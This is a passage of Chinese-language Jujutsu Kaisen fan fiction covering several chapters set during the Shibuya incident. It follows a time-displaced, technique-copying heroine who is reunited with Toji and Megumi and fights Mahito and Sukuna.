五条悟未成长起来之前，五条家也只比禅院家和家茂家略胜一筹，还没到一次硬抗两家的地步。
最后达成结果便是人安置在藏有薨星宫的东京都立咒术高专，有高专结界在，也不用担心反转术式持有者受到袭击。
作为报答，那位叫家入硝子的少女需要无条件救治总监部安排的人。
这一切都在甚尔的谋划中，他不在乎反转术式少女提前暴露，他只想让御三家多送些伤患催熟反转术式的熟练度。
之后他隔一段时间将禅院家的垃圾揍一顿，揍到只剩下一口气的程度，检验那位少女对反转术式的掌握程度。
不过半年，那位少女竟然能够治愈濒死重伤，这让甚尔内心狂喜。
之后又亲自盯了一段时间，确定就算无法治愈霁，也能保住善霁的性命后，迫不及待掏出了天逆鉾给狱门疆来了一下。
本以为霁会落入怀中，结果却是什么事都没发生。
咒术高专的小树林里，甚尔只感觉血液凝住，狱门疆开眼又闭眼，什么都没有出现。
是被人发现了，所以前门打开了？
他心头冒出了各种想法。
失去爱人的甚尔失去了理智，他再次提着刀来到了薨星宫。
暴虐的捶打让天元有种日了狗的感觉，他都给薨星宫换位置了，为什么这个天与咒缚还能找到他？
面对杀意到临界点，下一秒就要砍上来的壮汉，天元认命感应了一下，“没有，狱门疆·表不在国内。”
“你的妻子应该已经死了，之前也有被封印进去熬不住幽暗环境自杀摆脱的例子。”
“霁不会自杀。”甚尔冷冷道。
他的霁才不是那种会自杀的胆小鬼，她答应了，她会回来！
天元看着对面快要疯掉的男人，无奈道：“我确定国内结界内没有你妻子的咒力。”
2002年十月一日，薨星宫内部传来爆炸声。
·本任务负责人（高专一年级教师）夜蛾正道，被派遣薨星宫支援天元大人，确认天元大人伤势严重。
·一开始推测为未登记诅咒师袭击，根据现场未留下残秽可断定为天与咒缚所为。
·判定禅院甚尔为诅咒师，可将其击毙。
＊＊＊
骗子！
骗子！
她是骗子！
昏暗的卧室，甚尔靠在墙角上，手中拿着一封信，不，或许该称为遗书才对。
这封遗书被藏在丑宝的肚子里。
然而这封信并不是留给他的，而是留给她的弟弟。
信的开头就说自己应该不在了……
甚尔强忍着恨意看下去，原来她知道自己很难活下去，原来她猜测狱门疆会被人拿来对付五条悟，她关心了所有人，连惠都委托杰照顾，只有他，只有他没有提到。
好恨，说什么晚安，说什么只是睡一觉就能看见他，谎言，全是谎言！
她说了那么多就是哄他活下去，让他抱着希望傻乎乎等待。
呵呵，大概是没有想到他会提前解除封印，拆穿这个谎言吧？
甚尔将头埋在膝盖上，“好过分，霁好过分！”
＊＊＊
一天又一天，甚尔没有能等到那个人，他不肯接受她已经不在人世，可是国内国外都没有她的下落。
“那个令术师杀手坠入爱河，销声匿迹的女人呢？”
这天孔时雨联系不到甚尔，特意跑到甚尔的家中，就看见满屋子散落的易拉罐，和一身颓废拿着酒瓶的甚尔。
“那个女人啊，抛下我走了。”喝不醉，为什么喝不醉？
“是厌烦你了吗？”
“谁知道呢，或许是吧。”
妻子被封印一事，甚尔谁都没说，唯一知情人天元也被砍成了重伤，不死不代表不会受伤，那么重的伤哪怕有反转术式也不可能那么快康复！
“还爱她吗？我是说惠的妈妈。”孔时雨以为他被妻子抛弃了，没想到身为浪子的禅院，竟然会因为被女人抛弃变得颓废。
“爱？”甚尔厌世脸，“与其说是爱不如说是憎恨吧。”
憎恨她为何不化成诅咒缠着他，憎恨他是天与咒缚，没有一丝咒力，连诅咒她都做不到。
憎恨她一声不吭抛下他，憎恨他只要她出现，他还是会乖乖做她的狗。
心中的暴雨连绵。
明明说过不会离开他，却任性地将他一个人丢下。
无所谓了，一切都无所谓了。
上天曾经短暂地垂青了他一下，又毫不留情地抛下他，他这样的烂人果然不会一直走运。
时间从不为如何人让停下脚步。
一年后，甚尔带着已经会走路的惠离开了这个满是痛苦记忆的公寓。
像是报复一般，他将立花霁禁止他做的事全都做了，有钱了去赌博，没钱了做小白脸跟女人回家。
颓废的生活麻痹了心中的痛苦，直到有一天，他看着快
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要上幼稚园的儿子若有所思。
之后他和一个单亲妈妈结婚，入赘了对方家，确定儿子适应新的家庭后，他连霁留给他的孩子也一块抛弃了。
霁，你看到了吗？
他连惠都丢弃了，都这样了也不肯入梦骂他吗？
＊＊＊
好黑。
狱门疆内好黑。
好恐怖，周围有什么不断拉扯着我，困住了我的手脚让我动弹不得。
这种地方，这种地方太可怕了！
我内心恐惧，都忘记了狱门疆内部的恐惧环境，我不是五条悟还能逗这些骷髅玩。
好在我很快意识到这些拉扯只是让我无法使用咒力，这对我反而有好处。
原本身体的疼痛暂缓，像是有一双无形的手困住了体内胡作非为的力量。
我困顿地闭上眼，这段时间身体上的折磨已经让我很久没睡个安稳觉。
我做了一个很长的梦，一个少女在参加漫展时出车祸，醒来转生到一个另一个少女肚子里。
少女在地下黑诊所买了打胎药，但是她小觑了胎儿的顽强，吃了两副药孩子依然稳稳扎根在她身体里，就像是肿瘤一样吸取她的精血。
少女崩溃了，回到家找母亲。
然而她的母亲不仅没有安抚她，还执意让她生下来。
“这是个拥有强大术式的孩子！”
少女不敢置信自己的母亲会这样对待她，生下这个恶魔一般的孩子，她的人生也跟着完了！
她被母亲关在了家中，等到十月怀胎后，母亲亲自接生下了那个恶魔之子。
怎么也打不掉的胎儿，如何不能称为恶魔之子？
孩子生下后她不管不问，全由母亲来照料，少女变得沉默，等养好了身体逃离了这个令她窒息的地方。
我眨了眨酸涩的眼睛，记忆回来，我就是那个被生下来的孩子。
我也终于明白了，她对我为何那么冷漠。
一个不受期待的孩子，一个毁了她人生的孩子，一个被迫生下的孩子……
我从小就没见过她，外婆说她再婚了，我以为我是婚生子，其实不过是年少时荒唐结下的恶果。
小学时我觉醒了术式，没什么用，是复制术式，复制术式只有复制到强大的术式才算强大，不然弱小的毫无存在感。
我的复制术式没有攻击能力，还特别招惹咒灵。
我那时很崩溃，头一次意识到自己穿越到咒术世界，距离咒术剧情发生还很早。
我能接触到的是夏油杰的术式还是五条悟的术式？
前者算了，让我吞沾了呕吐物的抹布我宁愿死！
后者别想了，无下限只有跟六眼配合才是王炸。
术式觉醒非但没有让我变强，反而差点害死了我。
想来想去，我的前途都一片黑暗，我干脆一狠心用术师才能换来了术式增强的束缚。
我变成了吉野顺平那种拥有术式却没有术师大脑的普通人。
我不后悔，看不见污染眼睛的咒灵，别提有多开心了。
或许是女儿的出走，让外婆对我有些迁怒。
我要是一个小孩肯定会害怕，可我是个有前世记忆的人，她拿语言打压我，我就敢反CPU回去。
这样热闹的日子一直持续到了高中，我再次见到咒灵……
25.误入涉谷（一）
人真的是一种很会欺骗自己的生物。
看不见咒灵，我假装自己生活在一个普通世界里，就等我大学毕业跑回种花去。
什么刀，只要我跑得远就追不上我。
谁让我出生太早，连个两少年的高专同学都混不上，我又不想蹚咒术界那摊浑水，那地方低级术师是被拿来当炮灰使用。
反正我都绝了做咒术师的才能，只是我没有想到在学校里我碰见了咒灵。
体育课上，大家凑在一起玩踩影子的游戏，有人说起了影子会替代本体的怪谈。
这个怪谈我也听说过，源自最近热门的漫画，男主穿越后总是被杀，后来发现杀他的是死者影子，他每次被杀死都会穿越回去。
在不断循环中，男主需要救下被影子杀死的那个女孩。
我不记得大概剧情，那段时间影子杀人事件在学校里非常流行。
我直觉不好，普通世界也就算了，这个世界说多了可是会成真。
正要打断，我突然意识到主动说起这个传说的人我没见过。
……
后来怎么活下来？
好像是我再次使用束缚以记忆为代价将影子咒灵杀死。
原来这就是高中同学感谢我的原因，我在诅咒手中救下来他们，原来这就是我第一个术式的来源。
“什么嘛。”我手背放在额头上，“所以束缚的代价只有今生记忆？”
难怪我只有穿越前的记忆，感情束缚只能封印今生，无法追溯到前世。
我嘴角上扬。
失去记忆可真好，不然我还遇不上甚尔。
他那样的人警惕性极高，要不是我失去记忆变成傻白甜，他大概也不会放心跟我回家。
甚尔是我来到这个世界后收获的最好的礼物。
我已经迫不及待想要再见他。
狱门疆内感觉不到时间流逝，黑暗中我连看照片都做不到。
无声无光，这种环境能将人逼疯。
我开始回忆过去，很神奇，前世今生所有记忆都放入架子上等待我翻看。
我开始翻看《咒术O战》的剧情，前世一扫而过的画面，这会儿清晰出现在我脑海里。
有动漫、有动画，还有各种二次缝合的视频以及下面的评论。
重看一回大量我都快忘记的情报曝光在我眼前。
可惜的是我穿越前，五条悟已经变成2.5，其他人物轮番上场砍宿傩。
而我的惠身体也被两面宿傩占据。
我深吸一口气，这该死的剧情，哪怕隔着次元我都有刀iivv的冲动！
我不知道被狱门疆关了多久，这种可以把人逼疯的幽暗空间里我只能一遍又一遍地翻看记忆转移注意力，我还将漫画人物里的所有人的术式都研究了一遍。
我的复制术式有使用前提，一对方对我使用术式，我不死可复制。
二是我了解对方术式情报，只要看见对方使用，我就可以完美复制，第二条高于第一条。
原则上来讲，我现在已经有了可以复制所有咒术出场人物术式的先决条件，只要他们在我面前使出，就可以达成条件。
实际上还有个问题，我现在不是术师大脑，复制了我也用不了。
想要使用术式我还得解决大脑问题。
我叹息，事情又回到了原点。
要是能解决大脑问题，我也不必主动封印自己。
我开始研究自己的术式，我的术式是复制，第一个术式是操纵影子。
或许是我把操作影子的术式当成了我觉醒的术式，一开始喂了不少咒灵，连咒灵自带的术式也喂了不少。
我怀孕那段时间，影子被甚尔调试过，拥有很强的战斗力。
现在再回忆，好像影子的实力有点bug，多了点十种影法的味道。
比如可以吞噬咒灵补充咒力的能力是我怀惠满三个月时出现的，比如能分裂、能飞等等。
我咋舌，该不会我孕育式神时，还将式神的能力复制给了影子吧？
影子到后面进化到藏到影子世界偷袭咒灵，这就有点狗了，跟我光明伟岸的形象不搭呀，咳。
所以我怀孕时真运转了复制术式将十种影法给复制过来了？
意识到这一点，我有些蠢蠢欲动，其实也没必要变回普通人，咳，要是能成为术师也挺好。
自带空间欸，这谁不激动？
“狱门疆，开！”
耳边有人说话，眼前光明乍现，我毫无防备被踢出了狱门疆。
“是你？”
我睁开眼适应了光线。
说话的人有一双闪亮的六眼，已经昭示了他的身份。
已经成年的五条悟，出现在地铁站的五条悟。
“你竟然还活着？”
五条悟只是问了这一句，没有跟我叙旧的意思转身就要走。
我们身后突然有人说话，“嘛，竟然多了一个人，不过不重要，悟，许久不见～”
我缓缓回头，眼里还有些迷茫，是我被关傻了吗？我怎么出现在了封印五条悟的现场？
果然是你吧，脑花，竟然占了我可爱弟弟的身体！
不可原谅！
“你们……我……”
我精神错乱，按照计划我顶多关到杰和五条悟上高专，怎么可能关到十多年后？
不是，狱门疆不是只有封印时间的能力，没说能穿越时空啊？
“这位……”
脑花突然愣了一下，玩味道：“这位姐姐请让一让，不要打扰我和悟重逢。”
可恶，这是属于我那个时间线的未来吗？
狱门疆还在锁定中，大概是面前有两个人不确定锁定哪一个，突然消失又出在了五条悟四周将他手臂反绑在身后。
啊，这么智能吗？
“你不是杰！”
我点头，“没错，他不是，他是脑花，盗取了你挚友的身体！”
这是我要说出口的话，说出来却是，“啊啊啊，啊啊啊！”
“他是羂索！”
“啊啊啊！”
我死鱼眼，怎么还有强制闭麦？
羂索笑眯眯走过来，拍了拍我的肩膀，“姐姐，可以从那边出去。”
这声姐姐叫的人头皮发麻，真是厚脸皮，一个千年古董竟然不要脸地喊我姐姐？！
他要清场了，我识趣往外走，这高端局不适合我这个没出新手村的人参加。
“想去哪里？这位女士？”
前面被吃过无量空处的人堵住，我费力穿梭在人群中，一只手放在了我的肩膀上，我抬头整个人僵住。
就见上方一个缝合脸的蓝色长发男子正蹲在别人肩膀上，他低着头带着天真残忍眼神俯视我。
是真人！
竟然是真人！
我如坠冰窟，真人，竟然是真人！
再想想脑花刚才指的路，我就知道他没那么好心！
快想想，怎么逃过去？
我腿突然一软，身上的虚弱感再次传来，我抓紧了胸口，心口好痛！<
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在狱门疆内关久了，我差点忘了封印前我离死只有一步之遥。
“咦，要死了嘛？”
“无为转变——”
真人的手再次搭在我肩膀上，我感受到身体在变化，咒力好像找到了出口，全部向一个地方涌去……
我可以召唤影子了！
当然真人不可能那么好心。
或许是热爱这种给人希望又踹一脚将人踹入深渊的游戏，这种灵魂的扭曲蔓延到别处，我的手臂变形了！
我发动术式将这种伤害转移到影子身上，影子一阵扭曲适应了这种攻击后又恢复正常。
0.01秒后，我被影子从真人手中抢走。
这是我怀孕期间开发出来的能力，那会儿我和甚尔并不知道我生完孩子后无法再使用术式，为了增强我的实力，我和甚尔还开发了影子的多种用法。
比如我舍去身体的防御力，在受伤害时可以将伤势转移给影子。
同时还参考了jojo里的替身，使用了束缚，我以放弃本体全部战斗的才能，让影子替代我战斗。
这其实就是贷款束缚，我本身就不会体术，也自认学不来，我就一普通人本就没有战斗力，干脆拿没有的东西来换取影子的战斗力和伤害转移。
也不知道这束缚机制是怎么运转，承认了这个束缚，我本体变成战五渣，影子却拥有了超高体术才能，又被甚尔魔鬼训练过……
我心有余悸，幸好影子复制到了魔虚罗的适应攻击的能力，能扛过天与咒缚全方位袭击。
“哈？！”
真人跳到半空中，歪着头，“不是吧？”
他脸上露出狰狞笑容，“哈哈哈，直击灵魂的无为转变竟然也能恢复，有趣，太有趣了！”
他脸上的战斗欲望显而易见。
才不是，伤势是转给了影子，可扭曲的灵魂却是我用无为转变恢复的。
没想到吧，我复制到了无为转变！
这里不行，普通人太多，真人会拿普通人做抵挡，得去给空旷一点的地方。
我心里这么想着，影子带着我快速穿梭在影子之间，中途我不断收人，凡是我经过，还活着的人都掉入自己影子中，真人跟我抢人，我们停在了向负四层楼梯上。
我被放了下来，真人被引诱过来，释魂刀一放，影子迅速接过跟真人打斗在一起。
我离开打斗现场，直接向四楼狂奔而去。
惠，我的惠，现在谁都不能阻挡我去看惠！
在地下四层，我被很多被无为转变成改造成咒灵的人挡住了去路。
“救救我——”
“杀了我——”
还有幸存者惊惧的尖叫声。
我停下脚步，前所未有的恐怖画面冲击着我的眼球。
长在和平国家的我连死人都没怎么见过，如何能够承受得住这种画面？
我扭头干呕。
真人该死！
真人必死！
影子再次出现在我脚下，强烈的愤怒在我心中膨胀。
但凡一个有人类认知的人在看到无辜同类遭到玩弄，恐怕都会愤怒。
这些变成改造人的人已经死了，现在痛苦哀嚎的是他们的灵魂！
脚边的影子化为了圆点，压缩、膨胀、压缩、膨胀，压缩到一个点后猛然炸开。
“领域展开！”
“暗域神庭！”
黑色液体一般的影子迅速往外扩散，澎湃的黑色液体以势不可当扑向四方，将所有生物吞下……
26.误入涉谷（二）
我比划了一个手势。
“我的领域之内，凡是有影子的一切都归我掌控，有光就有影……”
公布领域情报后，我的领域明显增强。
领域延展，正在跟影子打斗的真人赶紧跳开，他还未进化完全体，真要被领域拖进去，怕是得吃一壶才能逃脱。
黑色如流动液体一样的暗潮迅速在地下四层蔓延，凡是被暗潮粘住的人和咒灵全部被暗潮拉入影子世界所在的异度空间。
异度空间内咒灵被抹掉性命化成咒力，普通人全部昏迷，怕把人憋死，我收回领域后还保留了一个小缺口让氧气可以灌入。
然后看着被无为转变后的改造人叹气，将改造人一块收入影子世界，只留了一个在地面研究。
“无为转变——”
感谢真人的无私奉献，让我复制了无为转变这个术式。
原著提过改造人脑干部分被改过，改造瞬间人就已经死了。
我研究了一下，只是被无为转变后的灵魂破坏得太糟糕。
盒子被撑坏后就算恢复原来形状，留下的痕迹还在。
……
“姑且问一句，这里的人都死了吗？”
我蹲在一个柱子下，脚下的黑潮将最后一个改造人吞没。
我没有时间研究新到手的术上，上面还有更多人等着我去救。
乌鸦扇动翅膀，一个女人停下脚步看过来。
那前面标志性的大辫子，是冥冥吧？
“还有一些活着，被我藏起来了。”我伸手为她指路。
“五条悟在地下五层。”
“虽然没见过你，不过还是快点离开吧，这里不是你该待的地方。”
冥冥留下这句话往下走。
“杰的身体被古代术师占了，五条悟也被封印了，对方可以使用杰的术式，你要小心。”我追加了一句。
冥冥暂停脚步，歪头，露出没有遮挡的眼睛。
“能问一下你是谁吗？”
“我吗？”
我指向自己，用轻松的语气回道：“我是杰的姐姐哦，有血缘关系的那种。”
“真是让人火大，趁着姐姐不在家，竟然偷走别人弟弟的身体的怪物！”
……
脑花留给冥冥对付，我现在要做的不是找真人，而是先踹飞便当，比如七海，比如更多人。
暗潮吞噬了太多咒力，明显里面空间变大了。
我上了三层，这里已经空空如也，只留下一串爬行后的黏液，带着海边的鱼腥味，令人作呕。
不用说了只有特级咒胎陀艮能留下。
我赶忙上了二层，老远就听见了打斗，一道血一样的攻击穿透了墙壁，行吧，猜到是谁了。
黑潮化作了影子将我抱起来，以刁钻的走势把我带到战场。
九相图的老大胀相正痛打他的欧豆豆。
我躲在灯光的影子下探出头。
“那个，能打断一下吗？胀相你想知道你弟弟在哪吗？”
“弟弟？”胀相停下手，“你知道我的弟弟在哪？”
虎杖悠仁靠在砸裂的柱子上喘着粗气道：“你是谁？”
我从影子里钻出来，“说来话长……”
见胀相合手要发动术式，我赶紧道：“胀相你要是对我下手，我就不告诉你弟弟在哪了！”
虎杖悠仁飞快冲我喊，“不管你是谁，你快点离开！”
“不准，快告诉我弟弟下落！”胀相踹了虎杖一脚，将他踹到墙壁上。
我倒吸一口气，拍了拍手道：“两位请暂停一下。”
“关系有点乱，这样我长话短说，占有夏油杰身体的东西曾经占过家茂宪伦的身体制造出了九相图……”
“那个男人！可恶，他竟然骗我！”
“可以让我说完吗？”我翻了个白眼，本来以为会和之前一样无法剧透，没想到竟然这么顺利就说出来了。
是剧情已经改变，束缚不了我了吗？
“总之十多年前这位伟大的父亲占据了虎杖妈妈的身体，亲自生下了虎杖悠仁。”
猛然得知这个真相，虎杖悠仁冒出豆豆眼。
“欸，生下我？”
“弟弟！”胀相面色一变，“可恶！”
“不是，你就这么信了？”虎杖悠仁怒视他，然后问我，“你到底是谁，为什么知道这些？是不是胡说？”
“我叫立花霁，夏油杰是我亲弟弟，现在被脑花占去身体，从脑花那边算，我和你算是有点亲戚关系。”
“欸？夏油杰是谁？”
我要赶时间，迅速说了一下杰和五条悟的关系，然后手伸到虎杖悠仁肩膀上，“——无为转变！”
虎杖悠仁一惊，然后感受到身体上的伤势在痊愈。
我食指放在嘴边，冲他“嘘”了一声。
胀相在一旁眼巴巴喊：“欧豆豆。”
“我才不是！”虎杖悠仁还惦记他之前对普通人大杀特杀。
“对了，我想问一下惠在哪里？”我打断道。
虎杖悠仁瞪大眼睛，指着外面，“你找伏黑吗？我们在S塔分开了，他在外面。”
我冲他摆手，“那回头再见。”
影子抱着我往外冲，沿途的人类只要还有一口气全部吞入影子世界。
在复制了狱门疆的术式后，影子世界也有了封印时间空间的能力。
这么一看我们家祖传的复制术式还是挺强大。
上去的路上我看到了满地的血，出口处有疑似夏油杰养女的女孩，看到我出来语气很不客气问。
“喂，你看到粉色头发的人了吗？”
我皱眉，杰到底是怎么养孩子的？
影子分出去将两个孩子打晕收进影子世界里。
我继续往前走，然后发现外面还有大量的改造人，真是绝了。
我干脆蹲在了入口，影子分散出去，将改造人全部吞进影子世界。
因为要控制影子，我无暇顾及其他，黑暗环境下影子如鱼得水。
我没有尝试开大，开一次领域太费咒力了，还不如控制地面的影子来操作。
影子在地面跳跃，分散钻入地面的影子，这些影子瞬间活过来，反过来扑向人类，大量的人类被影子世界吞没，他们恐慌尖叫，可惜没用，在被影子吞没的瞬间失去了意识。
老办法，先救活人再处理改造人。
数不清的改造人脚下影子突然活了过来，猛然拉长了身体将本体往影子里拽。
实力不强的被影子世界吞没，咒力化作养料。
很快这片区域被清空了。
远处传来玻璃破碎的声音。
我站起身望了过去，这一眼让我目光凝住。
“甚尔！”
远处的战斗一触即发，我召回影子，影子抱起我身后出现了翅膀。
风呼呼地刮。
我还是
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想不明白甚尔为何没有提前解封，而是等到狱门疆被拿来封印五条悟我才被放出来。
我一开始以为是平行空间，可脑花明显知道我是杰的姐姐，所以这一切到底是怎么一回事，难道剧情真的不可逆，把我封印在狱门疆里十五年？
临近战场，我慢慢向两人靠近。
父子俩已经打在了一起，甚尔明显是失控状态。
眼看惠被踹了一脚，我忍不住再次喊了一声。
“甚尔，住手！”
＊＊＊
提着游云的男人突然停下，伏黑惠一脸警惕盯着对方。
下一秒对方身影消失，竟然出现在了半空中。
他怀里抱着一位女士，就这么硬生生落在地面上。
地面被砸出了裂纹。
伏黑惠再看着那两个黏在一起的男女，脸上忍不住露出颜艺表情。
“哈？！”
为什么有人会在打斗途中离开跑去谈情说爱？
上方突然传来火光，伏黑惠一惊，做出手势。
“鵺！”
巨大的式神带着他飞起来，当看见原来的大厅里，大家正辛苦对战一火山头咒灵，他飞快进入进去。
＊＊＊
我手摸着甚尔的脸，我知道这不是他，这只是他的□□降临，哪怕有□□记忆，也不是完整的他。
他眼中的黑色褪去，一刻不停地盯着我。
我心中悲恸万分，到底出了什么差错，为什么我会这么晚才被放出来？
上方的火光变得更大，现在不是我跟甚尔说话的时间，我目光看向上面，漏瑚的术式是火，上面的人根本战胜不了。
惠有危险！
我召唤出了影子，将释魂刀递给了甚尔。
“甚尔，会保护好惠的对吗？”
甚尔从见到我开始就没有说话，面对我的请求，他干脆利落接过了刀，再次回到了那个大厅。
影子抱住我飞起，我看到远处蹦蹦跳跳跑过来的身影，那个欺负野蔷薇欺负惠的诅咒师！
之前我就让影子找过他，没想到他挺会躲，我现在无暇顾及他。
影子带我飞到窗口，里面的状况那叫一个惨烈。
影子分裂出去，受伤的全部被拖进了影子里。
我会无为转变，刚到手还不精，我不会反转术式，只能将他们拖入影子世界里暂停他们的时间。
让我有些难过的是七海半边身子都被烧没了，尽管这样他还想着战斗。
“我不能走……”
“我要去战斗……”
“马来西亚……”
行了，不要再刀我了！
我咬着唇转头，就看见甚尔追着漏瑚暴揍。
当然甚尔也没得好，身上处处都是烧伤。
甚尔跟惠相比，当然惠更重要，接连战斗惠已经撑不住跪倒在地。
我落地过去扶住了他，“惠，你还好吗？”
我小心翼翼感知他的伤势，然后发动无为转变。
他猛然推开我，“你是谁？和特级咒灵真人什么关系？”
“我的术式是复制，只要被我了解，在我面前使用过我都可以复制过来。”我慌乱解释。
对于这个世界来说就是bug，因为这个世界有术式公开增强术式的传统，这等于将情报塞到我眼前，若是在我面前使用……
难怪家族不声不响，这要是传出去，家族怕是早覆灭了！
27.误入涩谷（三）
“惠！”
惠没有听我说完，就从破碎的窗户跳了下去，影子落在我身后变成翅膀带着我追了过去。
漏瑚试图摆脱甚尔的追击进入地铁里，惠试图追上去，却被诅咒师那个不长眼的什么太拦住。
眼看惠被逼着放出了魔虚罗，狠狠挨了魔虚罗一记，我怒了，那可是我的胖儿子，我从出生就没舍得打一下！
“甚尔！”
下一秒甚尔脱离战斗出现在我身边，我看着魔虚罗，又担忧地看向地铁站内，就怕下一秒两面宿傩走出来。
“甚尔，你帮帮惠！”
我摸着他的脸依依不舍，甚尔没有咒力，进入惠的调伏仪式就跟建筑一样，也不会让魔虚罗变强，只要他帮助惠调伏魔虚罗……
“释魂刀你拿着，务必打败他，不要给魔虚罗适应攻击的机会。”
我很冷静，死去的丈夫跟活着的儿子比，当然是活着的儿子更重要。
“我以为是梦，你终于愿意来见我了。”
他目不转睛看着我开口。
湿热的眼泪从眼角落下，我终于意识到甚尔死了，他已经死了！
心中漏了巨大的洞，所有情绪都被吸走。
“到底怎么回事？当初为什么没有放我出来？”
“我放了，狱门疆里没有你。”他声音里满是无助。
我愣住，意识到我跳跃时间还是跟狱门疆有关。
“可是我才刚刚从狱门疆里出来……”
太迟了，我出来得太迟了，一切都到了游戏的末尾。
他的目光终于从我身上转移，“惠姓什么？”
“伏黑吧。”我喃喃道。
他露出了一丝笑容，有点年少时的猖狂。
“那可真是太好了！”
话音还未落，他已经冲进惠的调伏仪式中。
我在外围抱着膝盖默默等待。
甚尔是回不来了，他能清醒到现在已经很不容易了。
只是我好难过，心口好痛。
我的甚尔……
不行，既然狱门疆能够带我跳跃时间线，说不定还能带我跳回去。
这种把我踢走回归原剧情的事我才不会答应！
涩谷地铁站和周边已经成为一片废墟，我难过地抱膝等待领域内战斗结束，影子如同护卫一般守护在我身边。
这边被结界笼罩，所有被困在结界里的人都在困兽犹斗。
我看见两面宿傩臭着脸从地铁出口走出来。
显然是没有得到那剩下的手指。
胀相已经知道实情，自然不可能让漏瑚将大量手指塞进虎杖悠仁嘴里。
至于美美子和菜菜子手中的手指，和她们一起藏在我的影子世界中。
两面宿傩先饶有兴致地看了看调伏仪式，在闯入之前被我的影子拦截。
我不能让他进去，他会提高魔虚罗的上限。
“是你？”
“让开，否则……”他咧开嘴，“杀了你！”
我没跟他废话，直接让影子上。
我对影子毫无信心，哪怕它复制了十种影法式神的能力，哪怕它吞噬了大量咒力，我还是不认为能战胜两面宿傩。
只能说杀千刀的iivv给两面宿傩开的挂太大了！
然而无形斩击穿透影子冲我而来，我只觉得身上一热，还未感觉到疼痛，身上的伤全部出现在影子身上。
“这种术式……”宿傩挑眉，“有趣，可以转移伤势吗？”
影子适应了这种斩击很快复原，以肉眼不可见的速度抱着我躲过接下来铺天盖地的斩击。
我身上不知出现过多少次伤，又被转移到影子身上。
短时间内他奈何不了我，我也奈何不了他。
我得感谢自己，因为怕死，利用束缚可以将伤害转移。
只是伤口可以转移，被伤到时的疼痛依然存在。
好痛，我这样一个平时做料理给割伤都要甚尔哄好久的人，今天可以说受了老大罪。
被无为转变伤到灵魂时好痛，被宿傩斩击时好痛。
果然我只适合做脑力派，什么打斗还是把五条悟放出来再说。
两面宿傩攻击暂停看向调伏仪式方向，我猛一回头，就看见甚尔倒在了惠的面前，落地瞬间变成了一个陌生面孔。
魔虚罗冲向惠，影子带着我冲进去将昏迷不醒的惠抱在怀里，让我意外的宿傩竟然停在了调伏仪式外面没有进来。
我的影子和魔虚罗打斗起来。
我的影子身经百战又被我喂了不少咒灵，而魔虚罗却是初始设置，正常来说我的影子更强。
只是魔虚罗在战斗时很快适应了攻击，影子渐渐落入下风。
我一急，盯着魔虚罗头上的轮盘脑子一热。
下一秒，影子跳到魔虚罗头上抓住了转盘像是拔河一般试图拔下来。
我捂住了脸，这场面太搞笑了，我都不知道怎么会有这种念头，然而接下来让我下巴都要惊掉了。
不会吧！
真拔下来了！
影子反手将转轮放在头顶上，然后按着魔虚罗捶。
我真切感受到影子的适应能力在提升，反之魔虚罗的适应变差了。
啊，难道转轮才是魔虚罗的本体吗？
我手碰在惠的头上，伤势肉眼可见的痊愈，惠眉头皱了一下，眼皮颤抖像是要醒过来。
我紧紧盯着他，只是片刻没有关注，两面宿傩已经插入影子和魔虚罗之间的战斗，很明显他的目的是打断调伏仪式。
“我怎么了？”
惠按住额头醒过来，记忆回笼想起昏迷前将开启了魔虚罗的调伏仪式。
“等等，你快松开我！”
似乎是意识到被我半抱着，惠脸上多了红晕。
紧接着他一把推开我站起来，“调伏仪式！”
远处的楼塌了，我们两望过去，才看到两面宿傩一个人打影子和魔虚罗两个。
我意识到刚才宿傩跟影子都打斗只是开胃菜，现在才是正餐。
“惠，你想调伏仪式成功吗？”
“这种根本办不到，历代十种影法都没有降服成功过。”
他撇过脸去。
“才不是，若是没有降服成功过，魔虚罗又怎么变成了十种影法的式神？”
惠皱眉，“你到底想说什么？还有你和那个男人到底是谁？”
我唇动了动，我和甚尔是一对不负责任的父母，惠都这么大了我怎么好意思说是他的妈妈？
“你别管我是谁，我只想问你，想调伏吗？”
“想！”
我由衷地笑了，双手做了手势。
“术式顺转，颠倒阴阳！”
下一秒还在半空中战斗的影子高速旋转化作了一团黑色圆球，圆球压缩膨胀再压缩膨胀，频率越来
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越快，到了某个临界点突然膨胀开。
惠像是感觉到了什么，神色紧张起来。
几乎是刹那间方圆半径一百米内被黑色雾气笼罩。
我双手一翻，整个天地跟着倒转。
“有影子的万物都受到我操控，术式顺转颠倒真实虚幻舍去杀伤力，将现实和影子世界颠倒。”
我向惠公布我的术式情报。
他看着脚下的如墨一般的天空，“所以我们在影子世界？”
我牵住了他的手，他有些别扭还是任我牵住，显然他也察觉到了，没有被我牵住，他根本无法稳定身体。
我拉着惠落在地面上，两面宿傩跟魔虚罗还在战斗。
两面宿傩应该察觉到了变化，只是他没有理会，试过魔虚罗后，他做了手势，“领域展开……”
还未等他说完，我就将他踢出了影子世界。
再看一小块被领域侵染的区域，我也一块反转到现实去。
躲在影子世界中，我能够感受到外面两面宿傩开启领域后的狂暴，影子世界上空不断被切割又融合。
我这里可是异度空间，真实世界的斩击还能穿透异度空间来斩杀我？
我呀，可是研究透了他们的招式，我或许不是最强的，战斗力也不高，但是有克制他们的招数就行了。
“清场了！”
我拍了拍手掌，指着冲着我们而来又不断退后的虚魔罗。
“惠，去吧，打败它！”
“这种事怎么可能办到？”他站着迟迟未动。
我手伸入地面，地面黑潮化，很快一个转轮被我摸了出来，被我随手放在惠的头顶上。
“去吧，用你的式神，全部合体足以打败它！”
惠愣了一下，尝试性做了召唤手势，“玉犬！”
一只黑狗被召唤出来，雀跃地围着我跳跃，还眷恋地贴着我的手，不住发出嘤嘤声。
“不是异度空间吗？为何能召唤式神？”
当然是因为这里是孕育式神的地方。
我拍了拍玉犬的脑袋，这孩子是第一个孕育出来的，跟我相处最久，也最眷恋我。
“照顾弟弟是不是很辛苦？”
“汪！嘤嘤～”
“喂，你们在搞笑吗？”惠露出颜艺脸，又继续召唤下一个，“脱兔！”
……
我和惠狼狈从影子世界逃出来，真是没道理了，按理说魔虚罗也是我孕育出来，结果一点灵性都没有，打惠的同时还破坏影子世界。
幸好将收起来的人和咒灵都收到别处了，否则我该跟这个异度空间一样破碎了。
“真是火大……”
我转头问惠，“还调伏吗？”
惠一咬牙，“可是虎杖……”
我拍了拍他的肩膀，“虎杖不会有事，他是两面宿傩的容器，谁死，他都不会死。”
“反倒是你更危险，两面宿傩觊觎你的身体，他可以随便换容器，要是换到你的身体里，他再调伏了魔虚罗，凭借魔虚罗适应攻击的能力，你的老师出来也是死路一条。”
惠认真看向我，“你都知道些什么，请全告诉我，还有津美纪……”
